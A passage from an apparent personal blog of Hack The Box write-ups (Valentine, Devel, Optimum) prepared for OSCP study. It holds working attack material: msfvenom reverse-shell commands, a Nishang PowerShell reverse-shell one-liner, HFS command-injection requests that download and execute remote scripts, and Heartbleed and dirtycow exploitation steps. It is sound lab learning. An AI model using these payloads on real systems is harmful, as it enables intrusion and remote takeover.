We also see that the ssl certificate has the commonname of valentine.htb. Adding that to the hosts file and checking the site brings back the same thing. No virtual host routing for us here.

So, gobuster has done it’s thing and found some stuffs. It’s all the same for both http & https, which is slightly odd.

Let’s go look at some of these files.

Within the dev folder, we have a couple of files. There is a notes.txt file:

To do:

1) Coffee.
2) Research.
3) Fix decoder/encoder before going live.
4) Make sure encoding/decoding is only done client-side.
5) Don't use the decoder/encoder until any of this is done.
6) Find a better way to take notes.

These are good clues to the encode/decode if a directory enumeration didn’t work.

Also coffee, good idea!

Hype key is slightly more exciting, we get a load of hex:

I don’t personally read hex off the bat, so I might need to work this out!

Let’s carry on and see if decode is anything useful.

So over at /encode/ we have an input box:

Putting in hello in the box gives us:

Your input:
Your encoded input:

So our input it being converted to base64 (trust me, I checked).

If we use the decoder to decode that:

We get:

Your input:


Your encoded input:


So a simple straightforward base64 encoder and decoder.

I’m not going to lie I was expecting different.

Let’s go back and take that hex from the file, copy it into a local file. Let’s use the built in tool xxd to convert it to strings.

cat hex.txt | xxd -r -p > nohex.txt

We get an RSA private key!

Hopefully we can use this for ssh methods. Although we don’t know a username….

Let’s try it with root anyway, just in case.

First we need to change the permissions of the key

chmod 600 key

Then try to ssh in:

ssh -i key

Asked for a passphrase. Not what I was expecting but also not fully surprised there are more steps to this!

I think this is where the encoder/decoder comes in. The encoder is php, so can we get it to run a system command after our input?

Capturing the POST request in Burp we get:

Let’s ping this over to repeater and try some stuffs!

So PHP command injection is what we need here. There is a pretty good cheat sheet we can take some ideas from.

Running through these with whoami into the encoder, then going through the decoder to see if we get a different answer at any point is the plan.

I thought I might have had a breakthrough with:

text=hello & whoami

As only the hello came back. Whereas everything else saw the whole thing as text. However, it didn’t seem to do what I needed. Similar with having 2 &&s. I also though a null byte would be good (%00) however that didn’t work.

We need a new attack vector. SSH is the only other port we have.

Our nmap scan earlier found out the version: OpenSSH 5.9p1 Debian 5ubuntu1.10

A google of that, brings up a lot of walkthroughs to this box, so I think I’m on the right lines here!

Let’s avoid those and carry on. It looks like this version of ssh is vulnerable to the heartbleed vulnerability.

A bit more clever googling than normal to avoid the spoilers, gets us to some github pages with scripts to run the exploit, the one I used was here: https://gist.github.com/eelsivart/10174134

Downloading the script and running it, we need to give it the server, we then get a result!

You see at the bottom, that’s some base64. What the that going to say?

Decoding it on my local box, we get “heartbleedbelievethehype”

Let’s just check the decoder gives the same answer.

It does. That’s good!

Ok, maybe that’s the password we need? or part of that is the username?

So it looks to take the password for the key. Then asks for our password, so I think this is the ssh key password. We just need to find the right user.

We have no other clues for that as of yet. It’s worth trying the same thing, so:

ssh -i key heartbleedbelievethehype@

It’s clanky and long. Unlikely, but *shrug*

It didn’t work. As expected, the password is right though, as I copied the wrong thing first and got re-prompted for the password.

Let’s try single words, starting at the end.

That got me in. That’s very odd! I didn’t really expect that to work, but I couldn’t find anything else.

I would have thought a whoami command on the encoder/decoder would have been better. This was pure guess & lack of other things to try.

Anyway, we are in!

Annnd, there is the user flag! Excellent!

Let’s get LinEnum over as a first step!

Start up a python HTTP Server on my local box:

python -m SimpleHTTPServer 9001

Then on the box, let’s download it.


Give it permission to execute and


Watch it do!

This script always gives good info.

To start with:

[-] Specific release information:

We know that 12.04 is vulnerable to dirtycow/dirtycow2 but we are going to try and avoid that route!

Group membership and SUID files can be interesting.

The hyper user is part of:

uid=1000(hype) gid=1000(hype) groups=1000(hype),24(cdrom),30(dip),46(plugdev),124(sambashare)

A SUID file has:

-rwsr-xr-- 1 root dip 325744 Feb 4 2011 /usr/sbin/pppd

This could be something we can execute due to being part of the dip group.

Also to investigate:

[+] Possibly interesting SUID files:
-rwsr-xr-x 1 root root 62400 Jul 28 2011 /usr/bin/mtr

The other super interesting part, is there is some bash_history in the hype directory.
It’s not much but it might be enough to give us a clue:

[-] Location and contents (if accessible) of .bash_history file(s):

ls -la
cd /
ls -la
cd .devs
ls -la
tmux -L dev_sess 
tmux a -t dev_sess 
tmux --help
tmux -S /.devs/dev_sess 

I think as a starter, we will do look in .devs.

That is not something I would have quickly found without that bash history!

dev_sess is a socket. I’ve not come across one of those before.

From the linux guide:

socket - create an endpoint for communication

The manpage has a whole heap of information. However, the program “socket” which is used to create the connections isn’t installed. So maybe this is an absolute rabbit hole?

There is an exploit called dirtysock which is similar to the socket route. There is a check to see if the system is vulnerable:

snap version

However, snap is not found as a command. Bugger!

The other interesting thing in the bash_history is the fact it was done with tmux. Is there a tmux issue we can exploit?

A quick look brings up a few resources.

Firstly, we need to see if root is running tmux at all.

ps aux -u root | grep tmux


Looks like ID 1013 is what we need.

I just realised, that guide is exactly for this box, without mentioning this box. That’s annoying!

Anyway, looking at the tmux guide, we need -S which is the “socket-path” So we are going to connect to the socket using tmux.

tmux -S /.devs/dev_sess


So I was close from the off, using that bash history to see the socket issue. I should have also clocked tmux but I know now this is a really useful flag for the future!

Therefore, root dance!


So post root. I looked at some guides and most people seemed to use dirtycow. So shall we have a go at that too!

We did this as part of Lampino the vulnhub box, so let’s check that out!

Getting the exploit code from exploit-db.

Copy that into a file on the target machine. We then need to compile it:

g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil

Unfortunately g++ isn’t installed on the box. So let’s compile it on our local machine.

So on my local machine I have a dcow executable, let’s get this across using our python simpleHTTPServer.

Running that on the box and we get an error:

hype@Valentine:/tmp$ ./dcow 
./dcow: /usr/lib/x86_64-linux-gnu/libstdc++.so.6: version `GLIBCXX_3.4.20' not found (required by ./dcow)
./dcow: /usr/lib/x86_64-linux-gnu/libstdc++.so.6: version `GLIBCXX_3.4.21' not found (required by ./dcow)
./dcow: /usr/lib/x86_64-linux-gnu/libstdc++.so.6: version `GLIBCXX_3.4.22' not found (required by ./dcow)


Let’s try a different method of dirtycow. We can get source code from github.

We compile this one with:

gcc -pthread dirty.c -o dirty -lcrypt

We now have a dirty executable.

Running the exploit, we get prompted for a new password, we use hello as always.

Then the script seems to hang…

Looking at some reviews, this appears to be normal. The advice is “run it a few times”. This is crazy messy, but there there you go!

I got bored of waiting for the exploit but could su anyway, so it obviously worked.

That was dirty, we got root in 2 different methods. The actual planned way was simpler and more straight forward, but always good to have a backup and be able to exploit lack of patching!

Anyway, see further up for my root dance!



HTB – Devel

Ok, carrying on with TJNull’s OSCP prep list. This time we are going to have a go at Devel.

As always, let’s start off with a quick nmap scan:

sudo nmap -Pn -oA nmap/initial -vv

2 ports open:

  • 21 – FTP
  • 80 – HTTP

Let’s get a more involved nmap scan going:

sudo nmap -sC -sV -O -oA nmap/full -vv

While that’s running, let’s check out the webpage.

The webpage is an IIS7 splash page!

Let’s get a gobuster running on this and see if there is anything fun hiding here.

The second nmap has some exciting finds:

Looks like FTP is exposed. I wonder if any of those pages are there.
Let’s check out sm.png

It is there, so looks like we can upload stuff to the FTP and access it directly.

As it’s windows, we can’t  use our normal PHP reverse shell script. Let’s take a look at creating a aspx page with msvenom.

Before we do that, let’s just confirm we can connect and upload files to the FTP.

Login looks good. Let’s try to put something up there.


Looks like we can’t put files on the remote server. That seemed odd, so I tried again after changing directory to where my upload file is:

I can put a file there. Let’s go see in the web-browser if that’s there.

It does. So we now just need to create a reverse shell script.

A quick google gives me a msfvenom cheat sheet and the command is:

msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=1234 -f asp > shell.asp

Running that, it does it’s thing, and we have a shell.asp file!

Let’s get that uploaded and a netcat listener on port 1234.

As there was already a shell.aspx on the server. I’ve renamed mine to yekki.asp.

Uploading it worked well:

Going to the webpage. We get a 500 error, that’s no good! Maybe a .asp isn’t enough then!

Let’s see what windows reverse shells we can get that would work.

We can try a aspx.

msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=9005 -f aspx -o shell.aspx

This time we have also changed the port, just in case 1234 is in use.

We put the file up onto the FTP server.

Bingo. Our nc gets a callback.

However, we never quite get a shell. Let’s set up a meterpreter listener instead.

Open up msfconsole

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

Set the LHOST and LPORT you set earlier.


Going to the aspx website. We get a ping back on our meterpreter shell


A quick hunt and there are a few user areas:

Trying to go into babis or administrator and we get access denied.

Looks like we will have to priv esc before we get any flags!

Looking at systeminfo we see that the box is Windows 7 with no hotfixes applied:

We need to up our privileges. Let’s use the built in exploit suggester in meterpreter:

To get out of the shell use:


Then to get back to msf:


For the exploit suggester we use:

use post/multi/recon/local_exploit_suggester

Show the options and set the session to the relevant number, in our case it’s 3.

Run the exploit ad we get some results

There are a whole bunch here. I don’t know much about any of them, so time for some googling!

Let’s start at the top of the list and try with ms10_092_schelevator.

Running the exploit showed something funny:

It’s using the wrong IP. It needs to be my HTB VPN ip of

It was easy enough to fix, just needed to tweak the meterpreter/reverse_tcp options.

Still, no dice!

Let’s move on and try the next exploit.

Just like that, we are running as system!

This was cool, I rarely use meterpreter as I’m worried about dependency on it before the OSCP exam. However it’s good to learn and get used to using.

In the real world tests, a shells a shell. Doesn’t matter if you battled for an hour to tweak a powershell module, or used meterpreter tools!

And with the last couple of commands (and a bit of a hot mess in the middle).

Root and User serious faces!


HTB – Optimum

Another box in OSCP prep, Optimum.

This box is a windows box and I am terrible at Windows priv esc, so should be…. interesting!

Let’s start off as usual with a quick nmap scan:

sudo nmap -Pn -oA nmap/firstscan -vv

We get 1 result, port 80:

Let’s start a fuller scan while we investigate the HTTP server:

sudo nmap -sC -O -p- -oA nmap/fullerscan -vv

The HTTP server has a basic looking webpage:

While we do manual enumeration here, let’s get gobuster running in the background:

sudo gobuster dir -u -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 15

Looking at the webpage, we have a few interesting buttons. The search button, the Archive and Get List buttons.

However before we do any of those, we know this is httpFileServer2.3, let’s do a searchsploit for that.

The result is empty.

As we are going to be doing some web-appy stuff. Let’s load up Burp Suite and proxy all our traffic through there.

Let’s start with the search, can we do any directory traversal?

We cannot. The next step, is can be do any SQL Injection. As Kali only has burp community, it doesn’t have the decent intruder with the lists for SQLi. So instead, i’ll quickly run it through sqlmap:

sqlmap -u

Result of:

[14:23:12] [WARNING] GET parameter 'search' does not seem to be injectable

Never mind. Ok,

The next step, Get List:

This produces the request:

GET /?tpl=list&folders-filter=\&recursive HTTP/1.1 
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
Accept-Language: en-US,en;q=0.5 
Accept-Encoding: gzip, deflate 
Cookie: HFS_SID=0.574280694592744 
Connection: close 
Upgrade-Insecure-Requests: 1 
Pragma: no-cache 
Cache-Control: no-cache 

So that’s quite interesting, it’s doing something on a folder-filter and is recursive.

In the meantime, our fuller nmap scan still only shows port 80 open. It also estimates the box to be Windows Server 2012 or 2012 R2. This might be useful later.

What this also means is the directory traversal attempt from earlier was really dumb! Trying again with C:\Windows brings the same result though!

After a while of poking, attempting various SQLi at each user input I don’t appear to be getting anywhere.

The last part is back on the actual application. So we know it’s HTTPFileServer2.3 if we click the hyperlink it takes us to: https://www.rejetto.com/hfs/

So earlier we did a searchsploit for HTTPFileServer and nothing was found.

Let’s do the same again but for the company name “rejetto”:

There we go!

The problem before I was doing a search for “HTTPFileServer” and “FileServer” I didn’t add in the spaces. Silly!

We know the version is 2.3 so looks like all the exploits should work.

We don’t really want to do this in metasploit, so let’s have a look at the #34668 text file.

searchsploit -x 34668

It’s short & sweet

So it looks like, we can add a null byte in the search field and try command injection.

Now my windows commands are pretty poor, so i’ll do them twice, once on my windows base then on there using repeater function of Burp.

First off, let’s try:


I’ve checked it on a cmd and it works, gives me the answer.

However trying it on the webserver, brings back nothing.

I tried a few different ideas:{.whoami}

Nothing. Let’s take a look at the python file on searchsploit. This script should give a shell.

Copying it into our home directory:

searchsploit -m 39161.py

Edit the script to add in your local IP and Port.

Well the script runs. It doesn’t give me a reverse shell though!

The exploits appear quite simple. They basically use a few commands:



They are using the exec feature which executes a file on the local computer. So first step, save the exploit. Second step run it.

The difficult thing is it looks like the commands are being executed but not being fed back to the website. So at first I thought it wasn’t running, but it might be.

Let’s quickly jump into msfconsole and see if it works. Then we will try again without using it:

Within ~4 commands, we have a shell:

A couple more commands (once I realised it wasn’t file or read) we have the user flag.

So it does work. The script creates a file in %TEMP%. Looking in there, the script has gone as it obviously tidies up after itself. Which is good, now let’s try this manually!

During our searchsploit earlier, we copied across 39161.py, we are going to use this so when trying to run it with python, it runs through but doesn’t connect back.

So let’s look at this script. We have set it to come back on port 9001, maybe it’s  bad port? Trying on port 443 ends with the same result.

The comments in the code mention:

#EDB Note: You need to be using a web server hosting netcat (http://<attackers_ip>:80/nc.exe). 
# You may need to run it multiple times for success!

Well I wouldn’t think the Windows box has netcat.

I ran it multiple times just in case and still no luck. So we can’t use this script!

What we need to do before all of this, is check we can properly send commands, right. I actually watched the ippsec video for this bit.

As we realised earlier, the output won’t be displayed on the screen, so how do we know anything is working? Well, let’s get tcpdump running on the tun0 interface:

sudo tcpdump -i tun0

Then we can run the exec command and ping us, we should see this working. It will also help us find out which command structure is right.

So we go to repeater and set up our search as:

GET /?search=%00{exec|ping}

I then got excited as tcpdump went a bit mental, but this was only the HTTP requests.


So that’s not the proper formatting. Let’s keep trying

GET /?search=%00{.exec|.ping}

Same few bits of traffic. No dice.

Let’s do a quick google of possible commands we come across this page. Which tells us exactly how to use exec.

So a fullstop at the start and the end:

GET /?search=%00{.exec|ping}

It still looks the same as previously. Maybe all along we were getting pinged and I thought it was just HTTP traffic, but I don’t think so! However ippsec seems to think it worked.

Let’s park that, but if anyone can comment or hit me up on twitter that would be good, as I am baffled!

I’ll watch the rest of ippsecs video afterwards, to see if there is any explanation!

Anyway moving on. Normally with Linux we use bash 1 liner or python 1 liner. We can’t here on Windows, however there is Nishang.

It has a one liner for powershell!

$client = New-Object System.Net.Sockets.TCPClient('',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

Let’s change the IPs and put it in with the exec command!

Our GET request now looks somewhat ridiculous. We have a nc listener on port 4444:

Let’s see if this works!

It did not! So back to ippsecs video.

Ok, he uses Nishang but a bit more in detail. He clones the git repo and takes the Invoke-PowershellTcp.ps1 file.
At the bottom of the script adds in the command:

Invoke-PowerShellTcp -Reverse -IPAddress -Port 4444

Then from there we host that file using a python HTTPServer:

python -m SimpleHTTPServer

Then we can exec on the command to download and execute that script. The powershell we need for this is:

powershell IEX(New-Object Net.WebClient).downloadString('')

This then doesn’t work until you URL encode it. Which results in a GET request of:

GET /?search=%00{.exec|powershell+IEX(New-Object+Net.WebClient).downloadString('http%3a//').}

Running that does nothing. Maybe we need the full powershell path.


We can see our python webserver gets some hits, so the script is running!

Then we have a shell!

Again, we get the user flag!

This felt a much better way to get the user shell. I learnt a lot about how to run things in powershell. Nishang is a tool going into my utility belt, as well as the powershell IEX commands!

Yes, I used ippsecs videos to get to this point, metasploit free. But I did it metasploit free and that is pretty darn rad!

So, we are on the box!

Now what? Root flag!

A quick check, we can’t just get to the Administrator folder.

So I have no idea about Windows Priv Esc as mentioned earlier. Let’s get googling and find out some methods!

It looks like pentestmonkey has a windows priv esc checker: https://github.com/pentestmonkey/windows-privesc-check

Let’s download that and see what it comes up with!

So we are hosting that on our box. We need to use that funky powershell command again:

powershell IEX(New-Object Net.WebClient).downloadString('')

The request was made, it was downloaded.

It however doesn’t look like it executed. Let’s download it and save it locally, so we then know we have it and can have a play:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Invoke-WebRequest -URI -outfile windows-privesc-check2.exe

That has downloaded. Let’s run it!

I’ve run it and left it running for a while, it doesn’t appear to be doing anything. While that was (not) running I found that rasta-mouse the evil man behind the Rastalabs prolab has created a powershell script called Sherlock.

Again, I got this across to the target.

Trying to run this and nothing happened again. I’m starting to think it’s something to do with me not the scripts.

So I tried setting the powershell execution policy to unrestricted and got a very strange message:

I think it’s because I’m a lower level user, so I can’t set the policy. This might be breaking what’s going on.

So, let’s try 1 more thing. We want to run the function “Find-AllVulns” so let’s add that to the end of our script and do the whole powershell download and run thing again!

IEX(New-Object Net.WebClient).downloadString('')

Aha! For some reason, this time it did work!

I’m assuming this is because I didn’t add in a function to use earlier. Let’s retry it.

Looking at this, the Win32k Elevation of Privilege looks good. Let’s take a look at that first.

We find the code on github . Download it to our local box and add ./MS16-135.ps1 to the end of the script so it executes once it’s downloaded.

Back on the target machine we run:

powershell IEX(New-Object Net.WebClient).downloadString('')

We get an error!

This obviously isn’t great, as it means this script won’t run. However, it does mean that the script is running. So that’s a win!

It’s odd that it’s blaming a ‘)’, if this was linux/python environment I would assume python type. So maybe Powershell type? Is it 32 vs 64 bit?

Let’s change our script to make it run from the 64bit powershell


Well well well, this is interesting!

So our powershell might be wrong?

The machine is 64bit. So let’s try and get a reverse shell that’s 64bit.

So back to our GET request earlier, let’s change that slightly to have:

GET /?search=%00{.exec|C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe+IEX(New-Object+Net.WebClient).downloadString('http%3a//').}

Now, let’s re-try getting that script.

This time it ran. So that’s absolute progress!!

Sadly, it did not execute.

I get the feeling this isn’t the right exploit!

Sherlock did give another suggestion, which was the Secondary Logon Handle. Let’s take a closer look at that one!

There is a metasploit module however there is also a powershell script that’s been created.

Taking the powershell script, we add the run command to the bottom and host it up on our python HTTP Server.

Let’s invoke some powershell:

IEX(New-Object Net.WebClient).downloadString('')

Running this, doesn’t do too much!

We need to work out what we need to add to the bottom of the script as the executable.

The whole script runs under the function of “Invoke-MS-032”

Firstly, what does this do. Does it upgrade our current shell, or create a new reverse shell with additional privileges?

It looks like it starts a new process, with system level. So we want it to run and create a new reverse shell.

So at the end of the script, what if we try something like:

InvokeMS16032 nc 9005

(I’ve removed the “-” from the function name, as I find additional characters can just cause issues down the road.)

The idea here, is it will run the function, then the new command it will do is a nc reverse shell to our box.

We set up our listener

nc -nvlp 9005

And off we go!

IEX(New-Object Net.WebClient).downloadString('')

So the script ran and looked to execute properly. Which is great.

However, we didn’t get a shell!

This I feel might be my fault. What could be better, is getting a shell powershell script over there and running that. Rather than banking on nc which might not be installed.

So how about we tweak our Invoke-PowerShellTcp.ps1 script to another port. Try and get it to download and run that! We already have all those commands and know it works!

Copying the file and appending ‘-System’ to the filename. Then at the end of the script we edit it to be:

Invoke-PowerShellTcp-System -Reverse -IPAddress -Port 9005

Going back to our exploit script, we change the end to:

InvokeMS16032 IEX(New-Object Net.WebClient).downloadString('')

Let’s see if we even get a hit and then what happens!

Good news bad news situation.

We got a hit on our new Invoke-PowershellTcp-System script:

However, we are all a bit quiet over here:

Looking back at the PowershellTcp System file. I changed the last line, to include “-System” as that’s the filename. I don’t need that, as the function name hasn’t changed!

Let’s take that out and try this again!

Again, no dice!

This might not be working as that part would be a second thread. The race condition is being used on downloading the file, maybe.

So let’s try getting that script onto the box and just try running it with the exploit.

Invoke-WebRequest -uri -outfile shell.ps1

We now have a local file called shell.ps1.

Let’s re-edit our exploit file to be:

InvokeMS16032 powershell C:\Users\Public\Documents\shell.ps1

That should then ping us on our listening port of 9005!

Every time I cancel my python SimpleHTTPServer to edit the file, and forget to start it. This results in errors and I get confused! Remember to re-start that webserver and retry!

This just doesn’t seem to be working!

Can we do a simple powershell script, to make a file just to check if the theory is working.

The powershell for that is:

New-Item -Path . -Name "testfile1.txt" -ItemType "file" -Value "This is a text string."

As a test, we did that and it worked! Let’s add that with testfile2.txt into our exploit script and we can see if any powershell is being executed. I’ve also added in the path, just to really cover the bases!

InvokeMS16032 New-Item -Path C:\Users\Public\Documents -Name "testfile2.txt" -ItemType "file" -Value "This is a text string."

Let’s run this and see!

Testfile2 is not being created. So something has gone awry! This is really odd as before it was downloading the file. So some powershell was working previously.

Thinking back to our shell script we have. Running that locally (without the exploit) brings back a shell to the right port. So that part is working. It’s just the exploit with invoking that isn’t. It has to be a syntax thing.

I want a reverse shell, so let’s go back to that. On the end of our exploit we have:

InvokeMS16032 IEX(New-Object Net.WebClient).downloadString('')

Now these are 2 separate commands. Do we need to separate them out? A quick search suggests using “;”. Let’s add that in after InvokeMS16032

Let’s run the download!

It all went through and I got a shell!

Bugger! I’m still the wrong user!

So that must be running the first exploit, then running the second separately. We need to make it so one command goes into the next.

I do remember somewhere, maybe using PDQ that we had to add in -command before the actual command. I can’t find much on google about it. But let’s give it a go.

Attempting -command or -Command with and without quotes (scraping the barrel) didn’t seem to make any difference.

Restarting the python webservers, the issue became obvious. The exploit script downloads MS-39719 from port 9001. It doesn’t then however download the Invoke-PowerShellTcp-System.ps1 script off port 8000. If it’s not downloading that, it can’t run it!

Therefore -Command and -command aren’t what we need.

So if we have:

InvokeMS16032 powershell IEX(New-Object Net.WebClient).downloadString('')

Both scripts get downloaded, the second doesn’t get executed. But it does if directly downloaded.

So are we back to a powershell issue, if we try:

InvokeMS16032 C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe IEX(New-Object Net.WebClient).downloadString('')

Again, everything downloaded but no executed. FUUUUUUUUUUUUUUUUUUUUUUU

Current mood:

So let’s go back to what we have on the box, we have this shell.ps1. Can we try that again!

InvokeMS16032 C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe C:\Users\Public\Documents\Shell.ps1

This then takes out a step. It must be easier to do, right?!

It just doesn’t appear to execute! Let’s again try with the whole -command options.

I guess, we need to try it locally, as in does that command work?

I’m already in powershell, so all I should need is:


Let’s try with this!

So far, none of this is working!

I’m great a getting a lower priv shell, with the semi-colon! Which if anything is more infuriating as I know it must be a syntax piping type thing as the fucking thing does do something!

Let’s have a good think about this.

Our script is executing and kind of doing what we expected.

However when run separately, our other scripts are working.

Can we try another exploit script? We know it’s MS16-032 a quick google and there are a few others.
One of which is from the Empire module, which I think it’s one of those C2 type frameworks, basically is just boss.

Let’s grab that one and have a go! What you’ll see is in the description there is a handy guide:


        C:\PS> Invoke-MS16-032 -Command "iex(New-Object Net.WebClient).DownloadString('http://google.com')"

        Will run the iex download cradle as SYSTEM

So that’s cool, -Command was a thing! Just not a thing for us! There was much less of an example in the previous script.

So we have that, let’s add our bit to the end! (Notice the guide has more dashes then the function name! That’s annoying!

Invoke-MS16032 -Command "iex(New-Object Net.WebClient).DownloadString('')"

Let’s go onto the target and do the command:

IEX(New-Object Net.WebClient).downloadString('')

Fingers are mega crossed at this point!

So, we get an error:

So what this is basically saying is that is can’t add a new cmdlet. As it already knows about Invoke-PowershellTcp.

I wonder if that means I can just do the command without anything else.

If I enter:

Invoke-PowerShellTcp -Reverse -IPAddress -Port 9005

I get a shell on that port. So the powershell is already there. Let’s try just that at the end of the script!

Invoke-MS16032 -Command "Invoke-PowerShellTcp -Reverse -IPAddress -Port 9005"

Let’s run that and fingers even more crossed!

Infuriating! This fucking win message is now just mocking me!

Our nc listener stayed empty.

Let’s get this script across to the box and try running it locally!

Again, same thing! Looks to run properly but doesn’t!

Let’s try a bit more basic. Can we do any powershell.

Earlier we couldn’t dir C:\Users\Administrator

Can we now?

Invoke-MS16032 -Command "dir C:\Users\Administrator -Out-File C:\Users\kostas\Desktop\dir.txt"

This also doesn’t appear to do anything! We have an issue somewhere!

That command was way off!

We need:

Invoke-MS16032 -Command "dir C:\Users\Administrator | Out-File -FilePath C:\Users\kostas\Desktop\dir.txt"

Still nothing, so the powershell is funky somewhere!

At this point, I’d like to make it very clear that I watched the ippsec video, as I was absolutely baffled!

Going back to what we did previously, we have bits that work, so let’s work with those.

At the end of the Invoke-MS16032.ps1 script we add in:

Invoke-MS16032 -Command "IEX(New-Object Net.WebClient).downloadString('')"

I renamed Invoke-PowerShellTcp-System.ps1 to shell.ps1 for ease of typing.

At the bottom of shell.ps1 we had:

Invoke-PowerShellTcp -Reverse -IPAddress -Port 9005

I’m pretty certain we had this exact set up before! If you see where I went wrong, please hit me up on twitter as I’d love to know!

This time, we run:

IEX(New-Object Net.WebClient).downloadString(‘’)

We get the normal image

The big difference!

We got a root shell and the flag!

I really don’t know what changed! Other than a filename. Was the double “-” in “Invoke-PowerShellTcp-System.ps1” causing an issue for some reason?

I have no idea!


Root dance, I guess! I feel slightly sad that I cheated and slightly baffled by the entire process!

Instead of a root dance, I’ll leave you with some good advice!